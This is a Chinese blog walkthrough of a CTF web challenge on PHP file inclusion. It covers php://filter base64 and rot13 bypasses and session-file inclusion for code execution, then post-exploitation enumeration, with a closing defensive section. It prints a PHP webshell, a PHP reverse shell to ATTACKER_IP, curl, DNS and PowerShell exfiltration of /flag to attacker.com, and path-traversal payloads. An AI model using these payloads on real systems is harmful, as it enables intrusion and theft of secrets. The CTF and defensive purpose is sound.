news 2026/7/18 12:16:22

PHP文件包含漏洞深度利用:php://filter协议与编码绕过实战

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
PHP文件包含漏洞深度利用:php://filter协议与编码绕过实战

1. 赛题背景与核心思路拆解

“金盾信安杯”这类网络安全竞赛,其Web赛题的设计往往不是简单的“找漏洞”,而是对选手综合能力的极限考验。它模拟了真实攻防对抗中,攻击者如何在层层设防、规则严苛的环境下,利用有限的、甚至是“畸形”的输入点,达成最终目标(通常是获取服务器上的敏感文件或执行命令)。2024年的赛题延续了这一传统,其核心思路可以概括为“在重重过滤与限制下,寻找逻辑与协议的缝隙”。题目不会直接告诉你“这里有个文件包含漏洞”,而是通过代码审计、协议理解、服务器配置特性甚至是一些非预期的解析差异,引导你一步步构建出完整的攻击链。

我拿到题目后的第一反应不是直接去试Payload,而是先做“环境侧写”。题目通常运行在一个经过高度定制和加固的Web服务器上,可能是Apache/Nginx配合特定版本的PHP,并加载了自定义的安全模块或设置了严格的php.ini。这意味着,一些在普通环境下通杀的技巧(比如简单的../../etc/passwd路径遍历)很可能在第一关就被WAF(Web应用防火墙)或者服务端代码的过滤函数拦截。因此,解题的核心思路必须从“有什么漏洞”转变为“在现有规则下,我能让服务器以何种非预期的方式理解我的输入”。这涉及到对PHP内核机制、协议封装器、编码转换、服务器解析顺序等底层知识的深刻理解。

例如,题目中频繁出现的php://filter伪协议,其价值远不止于读取文件。在限制上传文件后缀、禁用危险函数、关闭错误回显的“绝望”环境下,它可能成为我们与服务器文件系统“对话”的唯一窗口。而Base64编码,也不仅仅是隐藏明文那么简单。在特定场景下,它能够作为“编码过滤器”,改变数据流的内容,从而绕过对文件开头特定魔数(Magic Number)的检查,或者将非PHP代码“转换”成服务器可解析执行的PHP代码。这种将编码、协议、文件流操作融会贯通的思维,正是解这类高难度赛题的关键。

2. 核心绕过技巧:php://filter的创造性应用

2.1 基础原理与常见误区

php://filter是PHP提供的一个元封装器,用于在数据流打开时应用过滤器。最广为人知的用法是php://filter/convert.base64-encode/resource=index.php,用于读取PHP文件源码(因为直接包含会被执行)。但很多新手会止步于此,认为它只是个“读源码”的工具。这是一个巨大的误区。

它的核心价值在于“链式过滤”和“资源转换”。你可以将多个过滤器像管道一样连接起来,对数据进行多重处理。例如,你可以先压缩(zlib.deflate),再Base64编码,最后再反转字符串(string.rot13)。更重要的是,php://filterresource不仅可以指向文件,还可以指向php://input(POST数据流)或者其他数据源。这就为我们构造特殊Payload提供了无限可能。

一个常见的赛题限制是:禁止包含以.php结尾的文件,或者对包含的文件内容进行<?php标签检查。此时,单纯的php://filter/read=convert.base64-encode/resource=shell.php是无效的。我们需要利用过滤器改变数据流的本质。

2.2 利用Base64解码进行代码注入

这是本届赛题中的一个关键技巧,也是很多选手的突破口。假设有一个文件包含漏洞点,但服务端代码会检查被包含文件的内容,如果发现<?phpeval(system(等危险字符串,就会拒绝执行。我们的目标是上传一个内容为恶意PHP代码的文件(比如一句话木马),并让它被成功包含执行。

直接上传一个.txt文件,里面写<?php @eval($_POST[‘cmd’]);?>,然后在包含时指定这个txt文件,通常会被内容检查拦截。这时,php://filter的妙用就来了。我们可以这样做:

  1. 将我们的PHP代码进行Base64编码。例如,<?php @eval($_POST[‘cmd’]);?>编码后是PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=
  2. 构造一个Filter链:php://filter/read=convert.base64-decode/resource=恶意文件.txt
  3. 当我们通过文件包含函数(如includerequire)去包含这个URI时,PHP会执行以下操作:
    • 打开恶意文件.txt
    • 读取其原始内容(即Base64编码后的字符串PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=)。
    • 应用convert.base64-decode过滤器,将这段Base64字符串解码。
    • 解码后的结果(原始的<?php @eval($_POST[‘cmd’]);?>)被传递给include函数。
    • include函数接收到的是已经解码的、纯净的PHP代码,并开始执行它。

关键在于,内容检查发生在过滤器生效之前还是之后?在很多实现中,检查是针对“最终被包含的内容”进行的。但在我们的流程中,服务器端的内容检查模块,很可能是在PHP的include函数内部,对即将被解释执行的代码流进行检查。而php://filter的过滤器是在数据流被送入include函数之前生效的。也就是说,检查模块看到的是恶意文件.txt的原始内容(一堆Base64字符),里面没有<?php,检查通过。然后数据流被送入PHP引擎,经过过滤器解码,还原出PHP代码并执行。我们成功绕过了基于内容字符串匹配的检查。

注意:这种技巧成功的前提是,文件包含函数确实支持php://filter协议,并且服务器没有禁用convert.base64-decode这个过滤器。在实战或CTF中,这需要探测。

2.3 组合过滤器绕过文件头检查

另一种进阶场景是绕过文件类型检查。例如,一个上传功能要求上传“图片”,不仅检查后缀名(.jpg,.png),还会用getimagesize()或检查文件头(Magic Number)来验证是否为真实图片。我们的目标是将一个PHP Webshell上传上去。

传统方法是制作图片马,在图片末尾附加PHP代码。但有些检查非常严格,会验证文件结构的完整性,附加代码可能导致图片损坏无法通过验证。此时,可以结合php://filter和文件包含来实现无损绕过。

  1. 准备一个真实的、有效的图片文件,例如pure.jpg
  2. 准备我们的PHP Webshell代码,例如<?php system($_GET[‘c’]);?>
  3. 构造一个复杂的Filter链,将图片文件作为“资源”,但先通过过滤器将其内容Base64编码,然后与我们PHP代码的Base64编码拼接,再整体解码。但更巧妙的做法是利用php://filterwrite功能(如果环境允许)或直接构思一个包含链:
    • 我们最终要包含的Payload是:php://filter/convert.base64-decode/resource=phpshell.jpg
    • 我们上传的文件phpshell.jpg,其内容并不是图片二进制数据,而是经过Base64编码后的“图片二进制数据 + PHP代码”的混合体
    • 具体操作:将纯图片pure.jpg用二进制方式打开,进行Base64编码,得到字符串A。将PHP代码<?php system($_GET[‘c’]);?>进行Base64编码,得到字符串B。将A和B简单拼接(A+B),作为phpshell.jpg的文件内容。
    • 当服务器检查phpshell.jpg时,因为它本身是一段Base64文本,getimagesize()会失败。但是,如果服务器检查逻辑有瑕疵,比如先允许上传,在后续某个点(如包含时)才做严格检查,我们的机会就来了。
    • 在文件包含点,我们使用php://filter/convert.base64-decode/resource=phpshell.jpg。过滤器会将文件内容解码。解码后,前半部分还原出原始的、完整的图片二进制流,后半部分还原出PHP代码。当这个混合数据流被include时,PHP引擎会从开头开始解析。图片二进制数据对于PHP来说是无效的令牌,会被直接忽略(可能产生几个警告),直到解析器遇到<?php标签,然后开始执行后面的代码。

这种方法比直接附加更隐蔽,因为它维持了原始图片数据的完整性,解码后前半部分是一个货真价实的图片文件。在某些解析环境下,甚至可以骗过一些动态的二次检查。

3. 实战应用:从漏洞点到权限获取的完整链条

3.1 赛题场景还原与审计要点

我们假设一个典型的赛题场景:一个简单的文件上传/查看应用。提供两个功能:1. 上传文件(仅允许.txt后缀);2. 查看文件(通过file参数指定文件名,直接读取文件内容并显示)。源码可能如下:

// upload.php $allowed_ext = array('txt'); $filename = $_FILES['file']['name']; $ext = pathinfo($filename, PATHINFO_EXTENSION); if (!in_array($ext, $allowed_ext)) { die('只允许上传txt文件!'); } move_uploaded_file($_FILES['file']['tmp_name'], './uploads/' . $filename); echo '上传成功!'; // view.php $file = $_GET['file']; if (isset($file)) { // 模拟一个简单的过滤,试图阻止目录遍历 $file = str_replace('../', '', $file); include('./uploads/' . $file); } else { highlight_file(__FILE__); }

审计立刻可以发现view.php存在本地文件包含(LFI)漏洞。虽然有一个蹩脚的str_replace('../', '', $file)过滤,但这种过滤很容易被双写绕过(....//-> 替换后 ->../)。但赛题的难点通常不止于此。我们假设环境做了以下加固:

  1. open_basedir被设置,限制PHP只能访问特定目录。
  2. allow_url_include为Off,禁止远程文件包含。
  3. 上传目录uploads/不可执行PHP(即.htaccess或Nginx配置限制了该目录下PHP文件的解析)。
  4. 服务器可能安装了WAF,会检测包含请求中的敏感路径(如/etc/passwd)和协议(如php://)。

我们的目标是读取/flag文件(CTF常见目标)。

3.2 利用链条构建与Payload构造

第一步是绕过str_replace过滤。使用双写绕过:file=....//....//....//etc/passwd。经过一次替换后,中间的../被移除,相邻的....//就变成了../,成功构造出路径遍历。如果成功,证明LFI存在,且可以读取系统文件。

但读取/flag可能被WAF拦截。这时可以尝试使用编码或协议。直接php://filter/read=convert.base64-encode/resource=/flag可能会被WAF识别php://关键字。我们可以尝试利用包含来触发过滤器,而不是直接访问。例如,先上传一个内容为php://filter/read=convert.base64-encode/resource=/flag的txt文件,命名为payload.txt。然后通过LFI包含它:view.php?file=payload.txt。但这样include会试图将那个字符串作为PHP代码执行,会失败。

正确的思路是利用PHP的封装器协议是可以在包含路径中使用的。我们需要让file参数最终解析为完整的php://filter路径。由于uploads/目录被前置,我们需要利用路径遍历跳出该目录。Payload为:view.php?file=php://filter/read=convert.base64-encode/resource=/flag。但这里有个问题,代码中拼接了./uploads/,所以最终路径是./uploads/php://filter/...,这是一个无效的路径。

这里就需要利用PHP的一个特性:当include的路径中包含协议时,它会优先将其视为一个流(Stream)路径,而不是文件系统路径。但前提是协议部分必须是完整的、且位于路径的开头部分。由于我们的路径以./uploads/开头,PHP不会将其识别为php://流。因此,我们必须完全跳出uploads/目录。使用多个../回到根目录,再直接使用绝对路径的协议:view.php?file=....//....//php://filter/read=convert.base64-encode/resource=/flag。经过过滤和拼接后,路径可能变为./uploads/../../php://filter/...,这仍然不是一个有效的文件路径,但PHP的流包装器在解析时,可能会忽略前面的./uploads/../../,因为它不是一个有效的文件路径,而php://协议处理器会被调用。这种行为依赖于PHP版本和配置,是赛题常见的考点。

如果上述方法不行,另一个更稳定的方法是利用/proc/self目录。在Linux系统中,/proc/self是一个指向当前进程(即PHP-FPM或Apache worker进程)的符号链接。我们可以通过它来访问进程的环境信息,甚至文件描述符。一个经典的技巧是包含/proc/self/environ来获取环境变量,有时里面会有路径信息。或者,如果我们能控制上传文件,并知道其临时文件名(通常位于/tmp/phpXXXXXX),我们可以通过包含/proc/self/fd/XX(XX是文件描述符编号)来访问它,即使它已经被删除。但这需要精确的时序竞争,难度较高。

更常见的突破口是利用PHP的Session文件。如果网站使用了Session,并且我们可以控制部分Session数据(比如通过一个用户可控的输入点,如昵称、邮箱,将其存入$_SESSION),那么我们就可以在Session文件中注入PHP代码。然后通过LFI包含Session文件(通常位于/tmp/sess_[PHPSESSID]/var/lib/php/sessions/sess_[PHPSESSID])来执行代码。这就将LFI升级为了远程代码执行(RCE)。

3.3 权限提升与最终Flag获取

假设我们通过Session文件包含成功执行了命令,例如system(‘id’);,返回了www-data用户。我们的目标是读取/flag,但可能/flag的权限是-r-------- root root,只有root可读。

在CTF环境中,常见的提权方式不是真正的系统提权,而是寻找具有SUID权限的、可由www-data用户执行的程序,或者利用内核漏洞。但在Web赛题中,更常见的是利用Web应用本身的权限/flag可能就是一个普通文件,www-data可读。或者,flag可能不在根目录,而在Web目录的某个深层次子目录,或者数据库里。

此时,我们需要进行信息收集。利用已获得的RCE执行命令:

  • find / -name “*flag*” 2>/dev/null:在全盘查找包含flag关键字的文件。
  • ls -la /:查看根目录。
  • ls -la /home:查看用户目录。
  • env:查看环境变量,有时会有提示。
  • cat /etc/passwd:查看用户列表。
  • ps aux:查看进程,也许有某个服务进程在读取flag。

如果/flag确实不可读,可能需要利用其他漏洞。例如,题目可能设置了一个/readflag的SUID二进制程序,执行它就能输出flag。我们需要分析这个程序(如果允许下载),或者直接执行它:/readflag

在实战中,获取RCE后,下一步通常是建立稳定的反向Shell,方便后续操作。可以使用Python、PHP、Netcat等工具。例如,在目标服务器上执行:php -r ‘$sock=fsockopen(“ATTACKER_IP”, PORT);exec(“/bin/sh -i <&3 >&3 2>&3”);’,同时在攻击机监听对应端口。

4. 高级技巧:协议封装与编码的奇技淫巧

4.1 data:// 协议的受限使用与替代方案

data://协议允许在URI中直接嵌入数据,格式如data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+。它是将LFI转化为RCE的利器。但在近年来的CTF和真实环境中,allow_url_include选项默认关闭,且经常被管理员禁用,使得data://协议无法直接用于包含执行代码。

然而,这并不意味着它完全无用。在某些特定场景下,它可以与其他漏洞结合。例如,如果存在一个文件写入点(哪怕只能写入特定内容),我们可以将data://协议URI写入文件,然后诱导应用以某种方式“读取”或“包含”这个文件。或者,在一些XML解析、反序列化等场景中,data://可以作为外部实体注入(XXE)的一部分被利用。

data://被禁用时,php://input是一个强大的替代品。它允许你读取POST请求的原始主体数据。利用方式如下:

  1. 发送一个POST请求到存在LFI漏洞的端点。
  2. file参数设置为php://input
  3. 在POST Body中直接写入要执行的PHP代码,例如<?php system(‘ls’);?>
  4. 服务器端的include函数会包含php://input流,也就是我们POST的代码,从而执行它。

这种方法同样受allow_url_include影响吗?实际上,php://input是PHP的输入流封装器,并非“远程URL”,所以其可用性通常不受allow_url_include限制,而取决于服务器配置是否允许访问这个流。它在禁用远程包含但需要接收POST数据的场景下非常有效。

4.2 利用压缩过滤器进行数据泄露

php://filter除了convert.*过滤器,还有zlib.*(压缩)和bzip2.*过滤器。这些过滤器可以用于数据压缩和解压。一个有趣的利用点是信息泄露

在某些极端的过滤下,所有输出都被转义或过滤,甚至错误信息被关闭。我们如何获取敏感信息?可以考虑使用压缩过滤器。

假设我们可以控制文件包含的部分路径,但输出不直接显示。我们可以尝试包含一个非常大的文件(比如/dev/random,它是一个无限数据流),并应用zlib.deflate过滤器。由于压缩数据是二进制,直接输出到浏览器可能会乱码或导致连接中断。但我们可以将其与convert.base64-encode过滤器链式使用,将压缩后的二进制数据转换为可打印的Base64字符串。

然而,更精妙的利用是侧信道攻击。虽然我们无法直接看到输出,但我们可以观察响应时间或响应大小。如果包含一个存在的文件和不存在的文件,经过压缩后,其输出大小(即使我们看不到内容)可能不同,或者PHP处理耗时不同。通过这种差异,我们可以盲测文件是否存在。但这需要非常精细的测量和稳定的网络环境,在CTF中不常见,更偏向于真实安全研究。

4.3 字符串处理过滤器与逻辑混淆

php://filterstring.*过滤器家族常常被忽视,但它们在某些绕过场景下潜力巨大。例如:

  • string.rot13:对数据进行ROT13编码。可以用于绕过简单的关键字过滤。例如,PHP代码<?cuc @riny($_CBFG[‘pq’]);?>经过ROT13后,就变成了<?php @eval($_POST[‘cd’]);?>。如果WAF只检查解码/执行前的原始内容,可能会被绕过。
  • string.toupper/string.tolower:改变大小写。可以用于绕过大小写敏感的检查。
  • string.strip_tags:去除PHP和HTML标签。这个过滤器非常危险,因为它会破坏我们的Payload。但反过来想,如果我们能控制过滤器链的顺序,也许可以利用它来去除某些我们不想让检查器看到的标记,然后再通过其他方式恢复代码。

这些过滤器的组合可以构造出极其复杂的Payload,用于对抗基于模式匹配的WAF规则。例如,一个Payload可以先ROT13,再Base64编码,再反转字符串。WAF规则很难覆盖所有可能的变形组合。但相应的,构造和调试这样的Payload也极具挑战性。

5. 防御视角:从攻击手法看安全开发要点

5.1 文件包含漏洞的根除方案

从防御者角度看,所有上述绕过技巧都源于一个根本漏洞:用户输入被未经充分净化就直接用于文件系统操作。最彻底的解决方案是白名单机制

  1. 绝对禁止动态包含路径:如果业务逻辑必须包含文件,应使用固定的映射关系。例如,使用一个数组将安全的键名映射到具体的文件路径:$allowedPages = [‘home’ => ‘./templates/home.php’, ‘about’ => ‘./templates/about.php’];。然后通过$page = $_GET[‘page’]; if (array_key_exists($page, $allowedPages)) { include($allowedPages[$page]); }
  2. 如果需要动态性,必须严格过滤:如果白名单不现实,必须对输入进行最强限制。首先,去除所有目录遍历字符:$file = str_replace(array(‘../’, ‘..\\’, ‘./’, ‘.\\’), ‘’, $file);。更好的做法是使用basename()函数只获取文件名部分,但这会丢失子目录信息。对于需要子目录的情况,可以先将输入限制在字母数字和下划线,然后拼接上固定的基础目录:$baseDir = ‘./content/’; $file = $baseDir . preg_replace(‘/[^a-zA-Z0-9_\/-]/’, ‘’, $file) . ‘.php’;。注意,这里允许了/,但前提是基础目录$baseDir是一个安全的、不允许用户跳出的目录。
  3. 关闭危险特性:在php.ini中,务必设置allow_url_fopen = Offallow_url_include = Off。这能从根本上阻断通过http://ftp://data://等协议进行的远程文件包含和代码注入。
  4. 配置open_basedir:虽然open_basedir可以被某些方式绕过,但它仍然是重要的安全边界,可以限制脚本访问文件系统的范围,增加攻击难度。

5.2 针对协议封装器攻击的防护策略

协议封装器的攻击本质上是利用了PHP丰富的流处理功能。防护需要多层面进行:

  1. 输入验证与过滤:在代码层面对传入的参数进行严格的协议头检查。例如,如果参数预期是普通文件名,可以检查是否以php://data://phar://zip://等危险协议开头。使用正则表达式或parse_url()函数进行检测和拦截。
  2. Web服务器层防护:在Nginx或Apache配置中,可以设置规则,拦截请求参数中包含特定协议字符串的请求。例如,在Nginx的location块中:if ($query_string ~* “(php://|data://|phar://)”) { return 403; }。但要注意避免误杀。
  3. 禁用特定过滤器:在PHP编译时或运行时,可以通过修改php.ini来禁用某些危险的过滤器。例如,disable_functions指令可以禁用includerequire等函数,但这会严重影响功能。更精细的控制可以通过php.inifilter.defaultfilter.default_flags来实现,或者直接修改PHP源码,但成本较高。更实际的做法是,在应用代码中,如果使用了stream_filter_append等函数,要确保过滤器的来源可信。
  4. 最小权限原则:运行PHP-FPM或Apache进程的用户(如www-data)应该具有尽可能低的文件系统权限。不要赋予其Web目录以外的读写权限。这样即使攻击者通过LFI包含了系统文件,也无法进行写操作或读取关键敏感信息(如/etc/shadow)。

5.3 安全编码习惯与自动化检查

再好的防护配置也抵不过糟糕的代码。培养安全编码习惯至关重要:

  1. 使用安全的文件操作函数:尽量使用file_get_contents()读取静态文件而非include。如果必须动态包含,使用realpath()函数解析输入的绝对路径,并检查解析后的路径是否在以Web根目录为起点的子目录内。
  2. 错误处理:关闭生产环境的错误显示(display_errors = Off),使用自定义的错误处理函数,避免将路径、数据库结构等敏感信息泄露给攻击者。
  3. 代码审计与自动化扫描:将安全审计纳入开发流程。使用静态代码分析工具(如SonarQube、PHPStan的某些安全插件)来检测潜在的LFI漏洞。在CI/CD流水线中加入安全扫描环节。
  4. 依赖库管理:及时更新框架和第三方库,避免使用含有已知漏洞的旧版本。使用Composer等工具管理依赖,并定期运行composer audit检查安全公告。

6. 常见问题排查与实战调试技巧

6.1 Payload构造失败的原因分析

在实战或CTF中,精心构造的Payload经常失败。以下是一个系统的排查清单:

现象可能原因排查步骤
包含php://filter直接返回空或错误协议被禁用或WAF拦截1. 尝试包含一个已知存在的普通文件(如../../index.php),确认LFI存在。
2. 尝试使用php://input(POST方式)测试协议是否可用。
3. 尝试使用file://协议读取本地文件,测试基本协议支持。
4. 查看响应头或错误日志(如果开启),看是否有WAF拦截提示。
Base64解码过滤器无效,返回原内容或乱码过滤器被禁用或数据格式问题1. 确认PHP版本支持该过滤器。
2. 检查Base64字符串是否标准(长度是4的倍数,字符集正确)。
3. 尝试一个简单的测试:php://filter/read=convert.base64-encode/resource=index.php,看是否能正常编码。如果能编码但不能解码,可能是convert.base64-decode被限制。
4. 注意read=write=参数的使用场景,在include中通常用read=
包含Session文件成功但代码不执行Session文件路径错误或内容被转义1. 通过phpinfo()或猜测确定Session保存路径(session.save_path)。
2. 确认Session ID(PHPSESSID)是否正确,能否通过包含sess_xxx文件读取到我们注入的数据。
3. 检查注入的Session数据是否被htmlspecialcharsaddslashes等函数转义,导致<?php标签被破坏。尝试注入纯文本先测试。
使用php://input执行命令无回显配置限制或代码执行方式问题1. 确认请求方法是POST,并且file参数的值是php://input
2. 确认POST Body中就是纯PHP代码,不要有多余的URL参数格式。
3. 尝试使用phpinfo();作为测试代码,看最基本的函数能否执行。
4. 考虑是否system()exec()等函数被禁用。尝试使用echo “test”;var_dump(scandir(‘.’));
5. 检查是否启用了disable_functions
路径遍历过滤无法绕过过滤逻辑严密1. 分析过滤代码是只过滤一次还是循环过滤。str_replace(‘../’, ‘’, $file)只过滤一次,双写可绕过。如果是while(strpos($file, ‘../’) !== false) { $file = str_replace(‘../’, ‘’, $file); }则双写无效。
2. 尝试使用绝对路径/etc/passwd(如果PHP进程有权限)。
3. 尝试使用URL编码..%2F或双重URL编码..%252F
4. 尝试使用非标准路径分隔符,如..\(Windows)或在Linux下可能被误解析的字符。

6.2 信息收集与环境探测命令

在获得初步执行能力后,系统化的信息收集是成功的关键。以下命令清单应熟记于心:

系统与权限信息:

  • id:查看当前用户和所属组。
  • whoami:查看当前用户名。
  • uname -a:查看内核版本和系统架构。
  • cat /etc/passwd:查看系统用户列表。
  • cat /etc/group:查看用户组信息。
  • sudo -l:查看当前用户可以以root身份无需密码运行哪些命令(如果允许)。

文件系统与目标查找:

  • pwd:查看当前工作目录。
  • ls -la:列出当前目录所有文件(包括隐藏文件)及详细信息。
  • find / -type f -name “*flag*” 2>/dev/null:全盘查找文件名包含“flag”的文件,忽略错误信息。
  • find / -type f -perm -4000 2>/dev/null:查找SUID权限的文件,可能是提权入口。
  • find / -writable -type d 2>/dev/null:查找当前用户可写的目录。
  • cat /etc/hosts:查看主机文件。
  • env:查看环境变量,可能包含数据库密码、密钥等。

网络与进程信息:

  • ifconfigip a:查看网络接口信息。
  • netstat -tulpnss -tulpn:查看网络连接、监听端口和对应进程。
  • ps aux:查看所有运行进程。
  • lsof -i:查看打开的网络连接和文件。

Web应用相关:

  • cat /etc/apache2/sites-available/000-default.confcat /etc/nginx/sites-enabled/default:查看Web服务器配置。
  • cat /var/www/html/index.php:查看Web主文件(路径可能不同)。
  • cat /etc/php/7.4/fpm/php.ini:查看PHP配置文件(版本路径可能不同),查找disable_functions,open_basedir等设置。

6.3 无回显命令执行下的外带数据

在无法直接看到命令输出(盲注)的情况下,我们需要将数据外带(Out-of-Band, OOB)出来。

  1. DNS外带:利用命令执行触发DNS查询,将数据放在域名中。例如:ping -c 1 $(whoami).attacker.com。攻击者监听DNS服务器,看到查询的域名是root.attacker.com,就知道当前用户是root。适用于Linux/Windows。
  2. HTTP请求外带:利用curlwget将数据作为URL参数或请求头发送到攻击者控制的服务器。
    • Linux:curl http://attacker.com/$(cat /flag | base64 | tr -d ‘\n’)
    • Windows:powershell -c “Invoke-WebRequest -Uri ‘http://attacker.com/’ -Method POST -Body (Get-Content C:\flag)”
  3. 时间延迟盲注:通过命令执行的时间差来判断。例如:if [ $(grep -c ‘^root:’ /etc/passwd) -eq 1 ]; then sleep 5; fi。如果命令执行了5秒,说明/etc/passwd文件第一行以root:开头。这需要编写自动化脚本进行枚举。
  4. 写入文件再读取:如果Web目录可写,可以将命令输出写入一个文件,然后通过Web访问该文件。例如:ls / > /var/www/html/output.txt,然后访问http://target.com/output.txt

在实际的CTF比赛中,题目设计往往会逐步引导你使用这些技巧。从简单的LFI到复杂的过滤器绕过,再到无回显的OOB数据外带,每一步都在考验你对PHP特性、操作系统和网络协议的深入理解。真正的安全能力,就体现在这种将零散知识点串联成有效攻击链的思维过程中。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/18 12:15:47

跨平台玩家的终极救星:WorkshopDL助你轻松获取Steam创意工坊模组

跨平台玩家的终极救星&#xff1a;WorkshopDL助你轻松获取Steam创意工坊模组 【免费下载链接】WorkshopDL WorkshopDL - The Best Steam Workshop Downloader 项目地址: https://gitcode.com/gh_mirrors/wo/WorkshopDL 你是否曾经因为游戏平台的不同而无法享受到Steam创…

作者头像 李华
网站建设 2026/7/18 12:14:35

ARM Cortex-M33调试寄存器详解:FPB、FPE、ICB与ITM实战指南

1. Cortex-M33调试与跟踪系统概述在嵌入式系统开发&#xff0c;尤其是基于ARM Cortex-M33这类高性能、高安全性的微控制器进行开发时&#xff0c;调试与跟踪能力是决定开发效率和最终产品质量的关键因素。与传统的“停止-查看”式调试不同&#xff0c;现代嵌入式调试更强调“实…

作者头像 李华
网站建设 2026/7/18 12:13:39

国产AI编程工具完全指南:0成本、信创适配、可审计工作流

1. 项目概述&#xff1a;为什么“国内AI编程工具完全指南”不是标题党&#xff0c;而是刚需 我从2021年开始在一线带技术团队&#xff0c;经历过三次AI编程工具的代际跃迁&#xff1a;第一次是Copilot刚出来时大家当玩具试用&#xff1b;第二次是2023年Cursor和Windsurf把AI原生…

作者头像 李华
网站建设 2026/7/18 12:13:31

Esbuild Runner:超快速现代JS/TS/JSX实时转译工具完全指南

Esbuild Runner&#xff1a;超快速现代JS/TS/JSX实时转译工具完全指南 【免费下载链接】esbuild-runner ⚡️ Super-fast on-the-fly transpilation of modern JS, TypeScript and JSX using esbuild 项目地址: https://gitcode.com/gh_mirrors/es/esbuild-runner Esbui…

作者头像 李华
网站建设 2026/7/18 12:10:46

MibSPI传输组配置详解:从寄存器解析到实战应用

1. MibSPI传输组&#xff1a;从“手动挡”到“自动挡”的SPI通信进化在嵌入式开发的老黄历里&#xff0c;操作SPI外设就像开手动挡汽车。每次要收发数据&#xff0c;你都得亲自“踩离合”——手动配置数据寄存器、手动拉片选、手动等待传输完成、手动处理中断。对付一两个传感器…

作者头像 李华
网站建设 2026/7/18 12:10:01

Honeydew与OTP集成:构建企业级Elixir应用的最佳实践

Honeydew与OTP集成&#xff1a;构建企业级Elixir应用的最佳实践 【免费下载链接】honeydew Job Queue for Elixir. Clustered or Local. Straight BEAM. Optional Ecto. &#x1f4aa;&#x1f348; 项目地址: https://gitcode.com/gh_mirrors/ho/honeydew Honeydew是El…

作者头像 李华